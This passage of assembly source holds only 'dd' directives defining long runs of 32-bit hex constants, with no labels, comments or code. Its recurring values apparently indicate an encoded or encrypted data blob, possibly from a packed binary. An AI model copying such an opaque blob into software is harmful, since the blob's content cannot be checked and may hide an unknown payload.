		dd 2421A94Eh, 0D0C7BFB0h, 0FBB62857h, 71B0D6F4h, 30E39C9Ch
		dd 1A60A30Eh, 15664EB0h, 0ABD54232h, 1566933Dh,	0EA078832h
		dd 90EFBCE2h, 1354BA13h, 156602DBh, 23516932h, 45F957B8h
		dd 2518E4BAh, 9C2191B0h, 93BED13Eh, 264BC1F4h, 75232419h
		dd 74B1AE3Dh, 755E4A5Ah, 4E34BE8h, 1A662232h, 15661AB1h
		dd 15606132h, 0D1574432h, 48F8BADBh, 1E7BA4CDh,	18F8E19h
		dd 0DD664432h, 0D425AD74h, 540C19FFh, 2EE599D7h, 0E297914h
		dd 988C8673h, 3E5A34B7h, 75067034h, 1566CD3Dh, 0C3E72232h
		dd 0CFA7483h, 10E78753h, 0AB664432h, 20760093h,	0FCB6EE53h
		dd 15668826h, 0F9F45E10h, 0A4A0013h, 0FEA8D1D0h, 0D2967E15h
		dd 25766CD5h, 8D43A7BBh, 94691700h, 15668835h, 95381652h
		dd 9607D4FDh, 3E6C108Fh, 90698834h, 156644E1h, 94B8A952h
		dd 0A6670F2h, 90A0E954h, 134D771Fh, 930EDB77h, 0E99C314Ch
		dd 1E7B3DCDh, 989F4219h, 3E5A07B7h, 18EE1E34h, 75668832h
		dd 1566CE3Dh, 0A8DC2232h, 74442C17h, 9C9F58CDh,	27FE6DB7h
		dd 0D393DA34h, 3E553CB7h, 9506C434h, 0C3E609EBh, 9F694358h
		dd 1566112Ch, 15726152h, 33CC4432h, 0C118A07Ch,	9FFB0528h
		dd 20A3F93Ah, 0DD3745EBh, 0A269691Ah, 0D60E70CCh, 1A86AEE2h
		dd 156649B1h, 156ECB32h, 0F6FA1132h, 0C38EDB0Ch, 0A099EE02h
		dd 134D292Fh, 94004252h, 4CB034C2h, 30E3C953h, 0E960090Eh
		dd 156605DBh, 95B3D32h,	0F7546198h, 93188627h, 4AC8114Eh
		dd 0B3A89D9Eh, 0E0B6BBEAh, 8D4BA7BBh, 97691700h, 15668833h
		dd 1469ADCAh, 0D39E2232h, 3E553CB7h, 9069DA34h,	15664433h
		dd 0F16B4AC7h, 0EA93AD78h, 3E6BF987h, 0C6E72434h, 27646111h
		dd 156AF853h, 0AE018832h, 0B993B0C9h, 0C0BD5FD9h, 90EBF86Fh
		dd 134DB417h, 75B6BBCEh, 156CA33Dh, 108F1132h, 7668832h
		dd 3E8A7819h, 34CDFAB3h, 9C075941h, 27FEA1B7h, 156CAD34h
		dd 40152232h, 2D60C1A6h, 0C65CB95Dh, 157CC13Dh,	97692232h
		dd 15661126h, 156687DBh, 1938832h, 526ACD54h, 14F470E7h
		dd 0F06A7D66h, 264BC1F4h, 0EC342419h, 592C595Ah, 9400E894h
		dd 745FADF3h, 181797CDh, 1F8F1719h, 0CC668832h,	82190043h
		dd 76DD0DA3h, 30E39C2Bh, 0FC60A30Eh, 1566443Dh,	6F409FAh
		dd 0A79B7F15h, 0C7400E6Ah, 75F249D5h, 15662EDBh, 190E0332h
		dd 0E9DD02DCh, 8745A964h, 74829349h, 198FC1CDh,	9D668832h
		dd 0F051E2B5h, 879EB2C5h, 9C4BF680h, 27FEA5B7h,	1569AD34h
		dd 17C72232h, 92471A4Bh, 6E75AE4Bh, 93E6FF0Ch, 38E3E4ACh
		dd 47603A01h, 0A18CE0C7h, 9F69B970h, 1566222Bh,	156605DBh
		dd 928F7532h, 0E38F6E43h, 0D3329E40h, 0FA8757B0h, 0B87A8663h
		dd 8D3BB1Bh, 1A600939h,	156616B1h, 9400E832h, 74BAF3EBh
		dd 156636DBh, 0E0BD4C32h, 4268D2FBh, 0B19900C3h, 24D49EAh
		dd 3EA6AEh, 30E30570h, 0FC606F0Eh, 15662239h, 5429522Fh
		dd 79DB9B22h, 0EAA986BAh, 0AA6942E2h, 16EE1EC8h, 73668832h
		dd 9C0786B9h, 3E608FB7h, 90A0E834h, 134DBB1Fh, 0AD002445h
		dd 0EFEC5891h, 0BDC57953h, 128F7BA5h, 27664432h, 0E951553Bh
		dd 0A0996200h, 134DA72Bh, 1576CF3Dh, 1E8F2232h,	1661132h
		dd 0F617F65Bh, 54F0474Fh, 90EB402Bh, 134D2D17h,	1576033Dh
		dd 1E8F4432h, 1E662232h, 1912A416h, 0F2A07B68h,	48FA853h
		dd 0B2662232h, 0A17BE07Ch, 0DEB6C7FEh, 3DB094B6h, 21170B8Bh
		dd 1A8FC1CDh, 0AD668832h, 0CD93CCC7h, 10073C40h, 6D9E5759h
		dd 1A0622CAh, 4F368485h, 4E3AB53h, 1A603A15h, 156689B3h
		dd 90A0BC32h, 134D111Fh, 1B8F7160h, 39668832h, 0A48451Eh
		dd 0D2556486h, 0FFEC7682h, 9AB009A8h, 7400B9D8h, 0C857355Ah
		dd 9E6971B8h, 15668837h, 68B1C554h, 0A099430Ch,	134D1A2Fh
		dd 17EF8752h, 9E664432h, 90EB43C3h, 134D2D17h, 15776152h
		dd 36A14432h, 70A1AC1Eh, 0D1487564h, 1A43311Eh,	0FD50ECC9h
		dd 1566223Eh, 7F7E162h,	0EF947710h, 0DAF57EEh, 1566A43Dh
		dd 743F1132h, 9C9358CDh, 3E7391B7h, 1575CB34h, 0BF951132h
		dd 0D1A17FC0h, 8278B485h, 26B83314h, 0FFDEB8EDh, 38E34E12h
		dd 43606F01h, 785F4ACAh, 0EA9AC52Dh, 3E7D5587h,	1574AD34h
		dd 27C82232h, 2B738D4Fh, 0CF8DEB9Fh, 0D16C7285h, 25CE07FAh
		dd 968D94BFh, 95698E1Ch, 15664424h, 156633DBh, 367C4C32h
		dd 5E0D263h, 0D5842DCh,	55EAB299h, 0C5993934h, 1567033Dh
		dd 759F4432h, 156630DBh, 99C2332h, 207F32EBh, 0E3386CB7h
		dd 357BE7FBh, 941F2E47h, 9B18DFAh, 90EF2529h, 134D160Bh
		dd 15679A3Dh, 0D39A8832h, 3E5569B7h, 7D936534h,	94BA0148h
		dd 15668FDBh, 79717F32h, 3F3A3798h, 1E7BA4CDh, 98938E19h
		dd 3E5A61B7h, 12E52D34h, 1A661132h, 156689BDh, 0C599B132h
		dd 128FDA52h, 0D3661132h, 0D9A853B2h, 750707FBh, 156BCA52h
		dd 9FC11132h
		dd 0F7A2DC18h, 99074315h, 4F117FF1h, 74ADC2B2h,	74B73F3Dh
		dd 1D1FC1BBh, 0FC062419h, 15661126h, 0D015ADC7h, 0AB9D71DDh
		dd 2925FE38h, 0AABE4976h, 7AF6EC42h, 5E6FF54h, 38E3E453h
		dd 52603A01h, 0F6E7EE52h, 7493DB1Eh, 1AD3C05Ah,	1B8F71B8h
		dd 8C668832h, 52F84696h, 93FE6335h, 80382854h, 11E487CBh
		dd 73664432h, 74F2AF8Bh, 1E7BA4CDh, 9B698E19h, 1566443Eh
		dd 1560AD3Dh, 90691132h, 15668832h, 2943C1BFh, 93692419h
		dd 15661133h, 0EDB677CBh, 8D2BC1BBh, 0D29A2400h, 3E73E8B7h
		dd 1566F034h, 1563AD32h, 17B62232h, 1ACF6420h, 15668FB5h
		dd 14E64B32h, 0EC662232h, 82FACB1h, 1A668E19h, 157E65B6h
		dd 1DEC2D32h, 1A661132h, 15668AB8h, 0D3072432h,	3E550FB7h
		dd 94695D34h, 15668812h, 1572AD52h, 262F2232h, 0C5EDC282h
		dd 2A84A485h, 20502CFEh, 6C8655BEh, 32DCFB2Bh, 7461B5EDh
		dd 1561AD52h, 742232h, 2EEA2866h, 749E038Bh, 0CF7AAD5Ah
		dd 2E32DEBh, 0FC661132h, 15668820h, 0A337A384h,	34A76DF1h
		dd 37053FEFh, 24B5FE14h, 0A099DBE4h, 134D292Fh,	156616DBh
		dd 0FF771232h, 0DB2C00Dh, 2943A7BFh, 0EA931719h, 14E987E2h
		dd 0EC664432h, 58FD752h, 0D6661132h, 16A47C60h,	5B01601Fh
		dd 37D71683h, 74176AEEh, 8D5F0DBBh, 73064200h, 26CBE2B3h
		dd 74A79A54h, 264B0DF4h, 0FC2A4219h, 1566223Bh,	2FD406E3h
		dd 41B61AE4h, 0CBA82C38h, 0FC06FF46h, 15661139h, 0FE1ED9E3h
		dd 39D56BEBh, 0FC87440Ch, 15661138h, 28702D3Eh,	2A03D24Dh
		dd 0EA07D3DBh, 3E6D0C87h, 1E8F7134h, 6C664432h,	88E40545h
		dd 0C3174A6Ah, 90EB9AEDh, 134D7817h, 15662DDBh,	543DD932h
		dd 0BB5AC5D6h, 9F93E651h, 6DA30022h, 9C9EC1CDh,	27FEB5B7h
		dd 1575AD34h, 0BE6F2232h, 0B27205E1h, 23BABF4h,	0B473257Ch
		dd 9D10CF89h, 38E3D70Eh, 5960A301h, 1568AD52h, 352A2232h
		dd 4C9E4CB8h, 4AC4154Eh, 0CCDDF902h, 74A9A954h,	1569933Dh
		dd 1F8F8832h, 0CD664432h, 10073C40h, 6D9E5759h,	9759E0CAh
		dd 0AB06F3B3h, 4C83C99h, 8D3EE53h, 1A60A339h, 156652B2h
		dd 1577CB32h, 56541132h, 0D8404388h, 8C5BC15h, 80B1968Ch
		dd 985404BAh, 3E5AADB7h, 93692434h, 15662230h, 9E00AD86h
		dd 1A8FE9F3h, 7D664432h, 0C1F64196h, 0D0CD5AB6h, 831F1FA5h
		dd 0C599A39Dh, 1567AD3Dh, 9C9E1132h, 27FEC9B7h,	0AA692434h
		dd 918CA3C3h, 7479ADB2h, 156684DBh, 0F25CA932h,	43000F17h
		dd 4A26EA15h, 38E34EBCh, 59606F01h, 156AA13Dh, 128F1132h
		dd 94668832h, 37431EC4h, 0D0E3B3Ah, 75D53E72h, 0BB0E3252h
		dd 0D3ED4319h, 14E52D53h, 0ED661132h, 8D37753h,	0EC606F39h
		dd 2943A7BFh, 98691719h, 1566883Ah, 1564C63Dh, 74062232h
		dd 1A06C1CDh, 0C9E65185h, 9C9E258Ah, 27FE63B7h,	90A0E434h
		dd 134DBB1Fh, 0CDE62474h, 82D9821h, 7D0772D1h, 0AFB88E26h
		dd 156649DBh, 9616D632h, 66D22BFAh, 39312B18h, 0A0999230h
		dd 134D292Fh, 1561F852h, 684B8832h, 3435C94Fh, 0FA329A0Dh
		dd 75073D6Ah, 45DC65B2h, 743E1F60h, 2943A7BFh, 90691719h
		dd 15668838h, 1A9CCF52h, 156622B2h, 0C5997032h,	940F3752h
		dd 906979CEh, 15662230h, 9C07CBB8h, 27FEC1B7h, 12EB4B34h
		dd 1A662232h, 156610BAh, 90A07432h, 134D771Fh, 94004275h
		dd 751507C0h, 156681DBh, 3340D632h, 0A8F119C0h,	0D6E7B5FAh
		dd 7026885Fh, 1A062553h, 156622BBh, 2EAA9132h, 51CE053h
		dd 0EA9EC5EEh, 3E6D3F87h, 0EE1E34h, 0FC668832h,	15664422h
		dd 0A494B64Dh, 5C2EB082h, 7929B0D4h, 0E3E4D230h, 2943A7BFh
		dd 0EA9F1719h, 1EE087E2h, 0FC664432h, 15662234h, 0A241C354h
		dd 90EF074Fh, 1354DC63h, 15662BDBh, 0B9BDBF32h,	17FE4563h
		dd 90A0AC38h, 134D111Fh, 0A2697175h, 0B90EE9C2h, 7589C3BCh
		dd 0AD005381h, 0EA079587h, 3E6D9587h, 1CE44B34h, 75662232h
		dd 0C826C08Bh, 742B381Fh, 2943C1BFh, 1D8F2419h,	1D661132h
		dd 6D1BBE12h, 0EACD2C35h, 1DE52DE2h, 75661132h,	0AE00D660h
		dd 9C07CC90h, 27FE77B7h, 0C1D97134h, 0FC3C1536h, 15664420h
		dd 0CC8703Fh, 0AFD2B2B3h, 8C8FDF04h, 8CD61D06h,	0D3078E2Fh
		dd 3E553CB7h, 1A06CF34h, 156642BFh, 15E82D32h, 0AA661132h
		dd 46747EAAh, 0B2B42C53h, 0EA9AF6A8h, 3E6D0C87h, 9469E834h
		dd 15664430h, 0D3E7F986h, 76BA8E94h, 30E30553h,	0E9606F0Eh
		dd 9C93F2CDh, 27FE48B7h, 156D6134h, 0FD04432h, 5FB2CC7Ch
		dd 5FD41610h, 38E34E62h, 52606F01h, 0A26942CBh,	0B1D6ABCAh
		dd 7D07BC20h, 0AFA77D36h, 15662FDBh, 0F83A3732h, 0F7E5FF3h
		dd 0CA7DF962h, 48FF3F3h, 4A661132h, 0BAD995D8h,	0E25F0584h
		dd 1582DC86h, 0B15F934h, 1E7B3DCDh, 0AD064219h,	52E87C75h
		dd 15639E3Dh, 65DF8832h, 74386E81h, 2943A7BFh, 0AC061719h
		dd 1BB4DD70h, 0FCB6BB53h, 15662237h, 8D9231A4h,	48E301F1h
		dd 0FC6076AAh, 15662235h, 7F4AEECEh, 96740C4Fh,	3E6DF58Fh
		dd 90692234h, 15661180h, 156F6152h, 0FC414432h,	4A61977Bh
		dd 1A1E3C7Dh, 75077F8Dh, 0FC43A1B2h, 15662238h,	0C9BDEFA7h
		dd 0B7365110h, 0D3075866h, 3E550FB7h, 759E5634h, 0FBD35EB3h
		dd 9E6955C2h, 15662233h, 720E70CEh, 0E086FA1Fh,	1E7BF1CDh
		dd 18F2419h, 0F661132h,	0B682272Fh, 0AD75B9DBh,	2F5B1196h
		dd 69711AE5h, 98F21B11h, 3E5A61B7h, 18E92D34h, 75661132h
		dd 0D2042F8Bh, 15EE4B3Ah, 74662232h, 138FC1CDh,	83668832h
		dd 0AF0B2AA5h, 156ECB67h, 0E2D71132h, 9639E38Eh, 90EF875Bh
		dd 1354BA53h, 156600DBh, 7B5A0532h, 0A595A8F6h,	30E17F21h
		dd 0B99FCB3Fh, 90A03ADDh, 134D771Fh, 3E92D75h, 75661132h
		dd 156683DAh, 98E4F332h, 0BDD7B800h, 0F877362Eh, 1EBB0868h
		dd 93692453h, 15662220h, 15661CDBh, 56D36532h, 933D2355h
		dd 40E88845h, 0C6E7FEF3h, 7B8A8E9Fh, 0A6D72C53h, 0FC9AAC1Bh
		dd 15661134h, 7E0B1112h, 0A099549Ch, 134D292Fh,	30E39CCEh
		dd 0FC60A30Eh, 15664422h, 0DE9EDD5Ah, 0D60AEF5Eh, 4984AB4Fh
		dd 20DA4D3Bh, 9769F2CDh, 1566112Ch, 157E063Dh, 68F4432h
		dd 0DD662232h, 70D409CDh, 5C73D161h, 58351D5Bh,	0F8F015F3h
		dd 90EFBA51h, 13541057h, 90A0BCCAh, 134D111Fh, 0B20EE471h
		dd 0E0A6FE78h, 1E7BF1CDh, 198F2419h, 8A661132h,	1B4BDE6h
		dd 0A4A82227h, 98F86286h, 3E5A34B7h, 68FE834h, 29664432h
		dd 0EB349F63h, 0A33B41C8h, 0F0491315h, 41412D0Dh, 0EA07D671h
		dd 5EA1EE2h, 0FC668832h, 15664439h, 0AA98B396h,	620EF2B4h
		dd 9C6CA8FEh, 27FE2DB7h, 156ACB34h, 2E2F1132h, 4B9453F6h
		dd 786AB9AAh, 90A081F2h, 134D221Fh, 1560617Eh, 14834432h
		dd 75CCEB97h, 730AFA5Ah, 9400E8C9h, 741A6CC2h, 3A7F97CDh
		dd 989A1719h, 3E5AADB7h, 0AF002434h, 0EA078CEEh, 90EFE9E2h
		dd 135410CFh, 15664ADBh, 0BF748B32h, 2232EA69h,	0B96AEE01h
		dd 0D3B6E402h, 3E550FB7h, 1A065534h, 0C4E6418Dh, 400E252Ch
		dd 75DD51BCh, 1577F852h, 3FBD8832h, 0E14EB09h, 6C96AA68h
		dd 487A8FBBh, 1A1BB498h, 156644BAh, 0AA694332h,	0A09970C4h
		dd 134D832Fh, 1573CE3Dh, 58F2232h, 64661132h, 0CD2C42C4h
		dd 8FDB0DD3h, 79A4DD80h, 9855FF95h, 3E5AADB7h, 0C599BD34h
		dd 90EFDBCAh, 1354895Fh
		dd 38E34ECEh, 56606F01h, 157EA13Dh, 68F1132h, 0E4668832h
		dd 1658D75Fh, 0B2540AFBh, 8F435336h, 9ED27B8h, 0E90EA38Ah
		dd 1ADAAC5Ch, 156610BDh, 0A0997D32h, 134D4F2Fh,	15662FDBh
		dd 7886BA32h, 6EC86C7Eh, 86460F39h, 90EBEE31h, 134D2D17h
		dd 15668EDBh, 9A31E832h, 0EA0C1BF8h, 420671E2h,	80D9EE68h
		dd 4A372517h, 64E3AB53h, 0FC6023AAh, 15668838h,	0EDC7042Fh
		dd 0CE1A4D3Fh, 90A017B8h, 134DBB1Fh, 7D9EBD61h,	0D3761C98h
		dd 8D3EECEh, 0FC60A339h, 1566443Eh, 0C8A83804h,	7D232557h
		dd 0F7490ACBh, 1569CB3Dh, 1F8F2232h, 0CC661132h, 275DA723h
		dd 0EEE0C39Ah, 30E3AFA3h, 0ED603A0Eh, 9A6958CDh, 15664425h
		dd 1577AC3Dh, 198F1132h, 63668832h, 0EE9B0520h,	0D61B0194h
		dd 0E0E6496Eh, 8D130DBBh, 969A4200h, 3E4D578Fh,	91691134h
		dd 15668BB3h, 3197C552h, 75105840h, 15661DDBh, 0FC10C432h
		dd 78A598B8h, 8ABD6DCFh, 7438469Ah, 38E34E53h, 53606F01h
		dd 156627DBh, 66B31832h, 240ED9C7h, 759CD2FCh, 1564AD3Dh
		dd 0BBD31132h, 4E8C51B3h, 0EA072EB3h, 3E6D3F87h, 156DF834h
		dd 0F7B28832h, 0D5688925h, 51925E08h, 30E39C62h, 7560A30Eh
		dd 7398CF54h, 3DB1D5B3h, 0C599E853h, 15756052h,	8544432h
		dd 6DE9AC5h, 0DAD877B7h, 73DE3DF2h, 0BAE5A1B9h,	156ECB58h
		dd 50251132h, 0D4E34CFFh, 9E38910Dh, 90EF43F9h,	135489E3h
		dd 74283E52h, 264BC1F4h, 75202419h, 0F8AD9054h,	157460C9h
		dd 0AFA14432h, 98048175h, 5146D720h, 115D01CEh,	0B6CE7A24h
		dd 4A9CA954h, 2FB07953h, 0FD067495h, 15664434h,	75F4025h
		dd 97DE39E8h, 4B7F75DDh, 156649DAh, 9C5D1E32h, 0FFFE34CAh
		dd 941D4432h, 9400F89Fh, 4EE0C8F2h, 8D3EE53h, 1A60A339h
		dd 15664CB3h, 17EB2D32h, 75661132h, 30E30553h, 75606F0Eh
		dd 41BDE2B3h, 0ABD5676Bh, 0EDB67753h, 8D87C1BBh, 90692400h
		dd 1566113Bh, 3DD8EE52h, 0CBED2207h, 14E82D53h,	0ED661132h
		dd 264B0DF4h, 1A204219h, 156623BEh, 150EE932h, 0EDF47496h
		dd 0D6D94B52h, 74B5953Dh, 1E7BA4CDh, 1A938E19h,	156645B2h
		dd 90EBD732h, 134D2D17h, 1567083Dh, 0EA9F4432h,	14E82DE2h
		dd 0ED661132h, 8D830DBBh, 94694200h, 15662227h,	156601DBh
		dd 4F3FE632h, 284B76CCh, 5F809976h, 68F673BEh, 90A07010h
		dd 134D771Fh, 1A304274h, 156611BCh, 9569D732h, 15664430h
		dd 7D07AD85h, 0E3B25E58h, 0AE00E852h, 198F73E9h, 58662232h
		dd 721432BFh, 0E0D4000Eh, 74A08F28h, 8D3DD53h, 75603A39h
		dd 156685DAh, 0DE406532h, 39F62930h, 0D6940FD7h, 0A2690719h
		dd 0AC001DC3h, 98076138h, 3E5A34B7h, 6FD1E834h,	0EA07B3B9h
		dd 3E42DE2h, 0FC661132h, 15668823h, 84695F3Fh, 0EB9585h
		dd 77BE9497h, 5777AA16h, 959324C2h, 9C077ADCh, 27FEF8B7h
		dd 90A07D34h, 134D771Fh, 0F20EDA74h, 0FCF2DC62h, 15668823h
		dd 0E1C474ECh, 29FE520h, 80E5FA38h, 0AC0E8D3Eh,	8D3BBDBh
		dd 0E0600939h, 294394BFh, 0EA9F8E19h, 0A26924E2h, 90EF43F3h
		dd 135489E7h, 13E78752h, 94664432h, 2F92C2D3h, 0B6DD716Ch
		dd 731E828Dh, 74682C8Dh, 38E3E453h, 53603A01h, 615DE0CBh
		dd 9669F510h, 1566222Bh, 15759C3Dh, 1B8F8832h, 0AF664432h
		dd 780C1E1Bh, 6130A40Ch, 2824A4A5h, 8D3BBC1h, 0FC600939h
		dd 1566113Ch, 79CD6CC5h, 7F18E4ECh, 2067F7D5h, 90EB244Fh
		dd 134DB417h, 1568CA3Dh, 1C8F2232h, 10661132h, 0C3946B02h
		dd 224959A8h, 0FD06F2CDh, 1566113Fh, 64FCFA4Eh,	7675AAF5h
		dd 83B06403h, 953FE94Ch, 9C0798E8h, 27FE9DB7h, 90A0D734h
		dd 134D221Fh, 1FE88774h, 75664432h, 1566A03Dh, 4D361132h
		dd 0FF8BE053h, 58F9B4Bh, 41662232h, 19002205h, 0C5C6B89Eh
		dd 0B24BB00h, 0EABDA143h, 3E6D0C87h, 90EB7034h,	134D7817h
		dd 0FCB6DDCAh, 1566113Dh, 0EBCC0FCEh, 0E2A1C430h, 26A35D30h
		dd 9C06DA3Eh, 27FE55B7h, 18F2434h, 34662232h, 0FEF3F1F1h
		dd 8CE483F6h, 134202ADh, 911C5136h, 73131B13h, 6AA160B3h
		dd 0A4DBC753h, 15600939h, 15E9943Dh, 0D39A8832h, 3E5569B7h
		dd 95697134h, 1566113Ah, 1564083Dh, 74064432h, 0F5384ACAh
		dd 9406DF8Ch, 0C5BF5DF3h, 0EFED223Ah, 8D3DD53h,	75603A39h
		dd 0FD98373Dh, 15664420h, 5523BEFFh, 0B525B10Bh, 0D31B845Fh
		dd 0E803F8EBh, 94691185h, 15661132h, 90EBE96Dh,	134D7817h
		dd 1AB6DDC7h, 15660CB9h, 4F37E832h, 156650DBh, 5356C032h
		dd 54034995h, 772BD2FCh, 7C453635h, 0E05E7E91h,	90EF703Ah
		dd 1354104Bh, 9B69B852h, 15662236h, 0D2E7AB54h,	38E34E53h
		dd 52606F01h, 1567AC3Dh, 7D9F1132h, 0D2D7D6B5h,	2DCFD52h
		dd 0EA076682h, 3E6D0C87h, 97697034h, 15664433h,	30E3AFCAh
		dd 1A603A0Eh, 15668CB8h, 4C302432h, 0ECB6DD53h,	8D1B94BBh
		dd 969A8E00h, 3E6DF58Fh, 90692234h, 15661196h, 156687DBh
		dd 0C6BAFE32h, 99ACCA05h, 0CC28CED0h, 4891A086h, 264BC1F4h
		dd 1A212419h, 15661DB3h, 13E68732h, 1A664432h, 156622BEh
		dd 6B637932h, 0FC066E50h, 15664426h, 0F6E6DC0Ah, 0BFC210B0h
		dd 87AD1ECFh, 1D65AC1h,	0B6F74181h, 156618DBh, 0C1C8EF32h
		dd 0F98E9DB8h, 0EA07BFE5h, 3E6D0C87h, 18E28734h, 75664432h
		dd 1566AD3Dh, 94001132h, 747D27D5h, 2943C1BFh, 0ED9F2419h
		dd 9C69C1CDh, 1566882Bh, 156650DBh, 0FEAE032h, 551322EEh
		dd 5BAECFBBh, 926C4F1Eh, 7052676Ah, 94E398D7h, 0E960BAAAh
		dd 264BC1F4h, 0E0252419h, 6F6FE75Ah, 157661A0h,	20A74432h
		dd 0FDB3BE0Fh, 1A20594Ah, 0FC2AC820h, 0A0990302h, 134D292Fh
		dd 156F9D3Dh, 0EC068832h, 1566C83Dh, 98072232h,	3E5A34B7h
		dd 18E08734h, 75664432h, 230F3789h, 1C8C9000h, 74143D58h
		dd 1A0694CDh, 156626BAh, 73DD7732h, 0CCBF09CCh,	74120568h
		dd 8DE3A7BBh, 0D39E1700h, 3E55A5B7h, 7D930734h,	0E947B512h
		dd 8D3EECEh, 0FC60A339h, 15664435h, 60D7D3A8h, 988D02A4h
		dd 3E5AADB7h, 9E002434h, 14969BC9h, 0EA075DC4h,	157261E2h
		dd 20F4432h, 0A709588h,	37C79B1Eh, 92D2E69Eh, 0DDEBD460h
		dd 90EF6926h, 135489BBh, 15776052h, 83584432h, 0A4F684E4h
		dd 7C2C14F4h, 34C59436h, 4EB1645Dh, 156CCB61h, 0F7781132h
		dd 0B81A81FBh, 3B230EBBh, 0A8E5436Ch, 134D1A83h, 0F9E38732h
		dd 75664432h, 15662ADAh, 0DDD08532h, 0BDFC9B25h, 4D99F28Dh
		dd 74BE9D3Dh, 264B94F4h, 1A258E19h, 156654BEh, 156DCB32h
		dd 0CBEA1132h, 0A27E62F2h, 2DA12FD6h, 0BD654A04h, 91699A32h
		dd 15668823h, 156648DBh, 3DD48F32h, 0B60DF07h, 0A3191Fh
		dd 0A099BC9Fh, 134D292Fh, 1567993Dh, 989F8832h,	3E5A61B7h
		dd 1561CB34h, 78651132h, 31C68C0Fh, 0E9B6BBDAh,	8DF7A7BBh
		dd 1A061700h, 15668EB0h, 15E54B32h, 0E9662232h,	38E3D753h
		dd 5660A301h, 23B32CCAh, 9369C769h, 1566113Eh, 1560033Dh
		dd 9C694432h, 15662232h, 1E7BA4CDh, 94698E19h, 15664433h
		dd 30E3AFC7h, 0FC603A0Eh, 1566883Ch, 8B442FF3h,	19B2FA55h
		dd 0BE84F108h, 0C59906C0h, 1567C43Dh, 9C932232h, 27FE9CB7h
		dd 156B6134h, 0E94432h,	13DFDD1Dh, 3FA355B5h, 0D31384D7h
		dd 3E5569B7h, 7D9A6134h, 0FFCC23D3h, 0EFEDEE52h, 1564CB3Dh
		dd 0D2EC2232h, 8D3EE53h
		dd 7560A339h, 0A91C554h, 90EB4303h, 134D2D17h, 0FCB677CAh
		dd 15664423h, 21C3D807h, 0FD869137h, 0FB2AE7EFh, 5BB316F8h
		dd 80E3AB85h, 0FC6023AAh, 15668839h, 5329569Eh,	3E717266h
		dd 0D3A37531h, 3E55A5B7h, 198F0734h, 5F662232h,	0A9E39011h
		dd 0C5834EA3h, 7DA770B3h, 91978E05h, 15661FDBh,	42020D32h
		dd 0BB9D8145h, 7108BE12h, 0EAA59BB4h, 3E6D9587h, 1FE34B34h
		dd 0FC662232h, 15661137h, 4E77F6Eh, 30E3C995h, 1A60090Eh
		dd 156605BEh, 15696132h, 1DA24432h, 0DE83A1C9h,	0BE573F09h
		dd 0A45FEBA9h, 75B6BBBFh, 15662EDBh, 0D5B35532h, 0DECADD49h
		dd 677BCB72h, 1575CAA3h, 6A551132h, 0B339A0FEh,	0DD8BC9ADh
		dd 0C0A37346h, 823D97D5h, 4CB703EFh, 8CE3CD53h,	1A6010AAh
		dd 156610B7h, 90A07132h, 134D771Fh, 7306DE7Dh, 0AA54D7B3h
		dd 15668DDAh, 0CFB7A532h, 9969DA07h, 15661132h,	0C10EE968h
		dd 75F171A2h, 0FC98953Dh, 15661134h, 55333F3Dh,	0EA077E1Bh
		dd 3E6D3F87h, 90EBE934h, 134DB417h, 1560CD3Dh, 9F062232h
		dd 74969BE3h, 1C8F58CDh, 0BF664432h, 0DBFB92AFh, 1329C3ECh
		dd 8DFB0DBBh, 0D3934200h, 3E550FB7h, 7D9F5E34h,	0EC088630h
		dd 15664EDBh, 0B06CD332h, 918EBB6h, 0EA00350Fh,	3E6D5987h
		dd 0ED9F4234h, 19E31E53h, 1A668832h, 156642B1h,	15EE2D32h
		dd 98661132h, 3E5AADB7h, 0FFD42434h, 0F97A354h,	0C59970F6h
		dd 156687DBh, 57C4BA32h, 0B7EC8D91h, 0DFE473A4h, 0C480686Ch
		dd 1572AD52h, 76592232h, 63582D8Fh, 0EF475CE9h,	0F097E2DBh
		dd 7A6AD5B3h, 1C8F3417h, 0F5668832h, 0E26ABB2Eh, 4EFDA183h
		dd 0B4E39853h, 0E060BAAAh, 264BC1F4h, 1A2B2419h, 156616BEh
		dd 14EF8732h, 0ED664432h, 221F6B5Ah, 0A099E4FAh, 134D832Fh
		dd 0A6A9C552h, 735CDC62h, 4E4FD9B3h, 156A6153h,	0E5CF4432h
		dd 6E4F1162h, 599DA23Eh, 90EB3B68h, 134D7817h, 75B6DDC7h
		dd 76849054h, 0CE28708h, 0FC664432h, 15662226h,	5C2DA33Ch
		dd 39547F45h, 850DBDh, 16A62FE9h, 105F5E19h, 0BCE30153h
		dd 1A6076AAh, 156623BDh, 0D39AE832h, 3E55A5B7h,	1A9A0934h
		dd 156625BBh, 14EC1E32h, 0ED668832h, 0E22BCD5Ah, 1572CBEEh
		dd 3EB61132h, 91868448h, 84FB61E5h, 0D5A3D867h,	7B24BEB9h
		dd 0A0994C40h, 134D4F2Fh, 1568A33Dh, 1C8F1132h,	0D3668832h
		dd 8E889B70h, 0F501D436h, 294394BFh, 0EA9E8E19h, 90EFB1E2h
		dd 1354BA97h, 38E3D7CBh, 4060A301h, 156650DBh, 10C14B32h
		dd 0C422B223h, 3FBE3595h, 0E3FC7DA8h, 23ED1B1Fh, 385179B4h
		dd 9C691429h, 1566442Dh, 157FAF3Dh, 18F1132h, 5C668832h
		dd 14330A11h, 7FC56D87h, 0A2362518h, 1261A59Eh,	0EA1DC5B3h
		dd 3E6D3F87h, 90EBED34h, 134DB417h, 156655DBh, 0D4814432h
		dd 52F3F53Bh, 945BFF6h,	0BD0D53A2h, 0C599BCF4h,	15661EDBh
		dd 4E1BE332h, 7997CBD6h, 0B2872C8Eh, 765694BFh,	8DCB0DBBh
		dd 73064200h, 0AC49068Ch, 1125279Dh, 38E34E53h,	56606F01h
		dd 156AA73Dh, 96691132h, 15668834h, 1566CB3Dh, 3F0E2232h
		dd 75B4C4C2h, 15640E3Dh, 74064432h, 4C074264h, 8D3EE53h
		dd 1A60A339h, 15664FB0h, 9B694232h, 15661132h, 74B90354h
		dd 2943C1BFh, 0FC062419h, 1566113Ch, 4A4AEA62h,	1D1637E8h
		dd 381AABE5h, 0EA079765h, 14E987E2h, 0EC664432h, 8DD7A7BBh
		dd 1A061700h, 156689B7h, 0D307BC32h, 3E550FB7h,	0E9064334h
		dd 0D51A40B3h, 7D077AAEh, 0E82496D8h, 156E9B3Dh, 1A068832h
		dd 0AA699685h, 0A09943F5h, 134D1A2Fh, 15668EDBh, 135BE332h
		dd 1A8F0C71h, 15661DBEh, 13E48732h, 1A664432h, 156622B8h
		dd 30E39C32h, 7560A30Eh, 1A305581h, 156622B2h, 0EA074A32h
		dd 19E487E2h, 0FC664432h, 15662235h, 40003BBEh,	9C80555Bh
